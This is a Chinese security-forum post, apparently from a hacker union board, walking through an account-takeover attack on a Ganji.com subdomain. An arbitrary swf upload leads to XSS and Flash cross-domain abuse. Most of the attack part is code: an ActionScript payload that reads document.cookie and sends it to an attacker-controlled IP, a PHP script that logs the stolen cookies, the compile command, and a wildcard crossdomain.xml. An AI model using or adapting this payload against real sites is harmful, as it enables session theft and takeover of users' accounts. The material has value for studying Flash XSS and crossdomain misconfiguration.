搜索
查看: 695|回复: 0

点我链接就上了你的赶集帐号(Bug Bounty系列)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-5-14 13:26:48 | 显示全部楼层 |阅读模式
0x001 起因

凑巧发现赶集某处的任意文件上传。可以上传txtswf,但是测试发现无法上传其他文件,如:php,jsp等脚本文件(就算上传上去也解析不了,谁让人家是图片备份站呢....)

  1. <form id="Upload" enctype="multipart/form-data" action="http://xxx.ganji.com/xxx.php" method="post"> Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form>
复制代码
0x002 简单测试
之前有在乌云看到过,swf导致xss。于是乎,我上传了一个有xss漏洞的swf


还可以上传txt进行涂鸦。



0x003 利用

查看了下赶集的crossdomain,既然我们有xss,那是不是可以玩Flash跨域?


参考:[url=]WooYun: 腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC)[/url]


照抄他的AS代码:

  1. package
  2. {
  3.     import flash.display.*;
  4.     import flash.external.*;
  5.     import flash.net.*;
  6.    
  7.     public class csrf extends flash.display.Sprite
  8.     {
  9.         public function csrf()
  10.         {
  11.             super();
  12.             var loc1:*=flash.external.ExternalInterface.call("function(){return document.cookie;}");
  13.             this.doGet(loc1);
  14.             return;
  15.         }

  16.         internal function doGet(arg1:String):void
  17.         {
  18.             var res:String;
  19.             var target:String;
  20.             var request:flash.net.URLRequest;

  21.             var loc1:*;
  22.             res = arg1;
  23.             this.loader = new flash.net.URLLoader();
  24.             target = "http://203.124.xxx.xxx/get.php?get=" + res;
  25.             request = new flash.net.URLRequest(target);
  26.             try
  27.             {
  28.                 this.loader.load(request);
  29.             }
  30.             catch (error:Error)
  31.             {
  32.                 sendDatatoJS("Error: " + error.getStackTrace());
  33.             }
  34.             return;
  35.         }

  36.         internal function sendDatatoJS(arg1:String):void
  37.         {
  38.             trace(arg1);
  39.             flash.external.ExternalInterface.call("colsole.log", arg1);
  40.             return;
  41.         }

  42.         internal var loader:flash.net.URLLoader;
  43.     }
  44. }
复制代码

随手写一个get.php,用于记录cookie

  1. <?php

  2.     $cookie    = $_GET["get"];

  3.     $txt    = "cookie.txt";//保存的文件

  4.     $file   = fopen($txt,"a+");//读写方式打开

  5.     fwrite($file, ' Cookie:'.$cookie.' Date and Time: ' .date("Y-m-d H:i:s",time())."\r\n \r\n \r\n \r"); //写入

  6.     fclose($file);//释放

  7. ?>
复制代码

命令行下直接编译as文件为swf的方法

  1. C:\Program Files\Adobe\Adobe Flash Builder 4\sdks\4.0.0\bin>mxmlc C:\Users\aw\Desktop\CgEHF1bLE0TDRyd2AAADsZZ8Qy4827.swf_as\csrf.as
复制代码

编译生成,然后上传

访问后发现,swf会自行再访问crossdomain.xml。访问http://203.124.xx.xx/crossdomain.xml这个文件然而返回了403.于是乎写了个crossdomain.xml上传到服务器

  1. <?xml version="1.0" encoding="UTF-8"?>

  2. <cross-domain-policy>

  3. <allow-access-from domain="*"/>

  4. </cross-domain-policy>
复制代码

再次访问,便可以收到cookies了。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表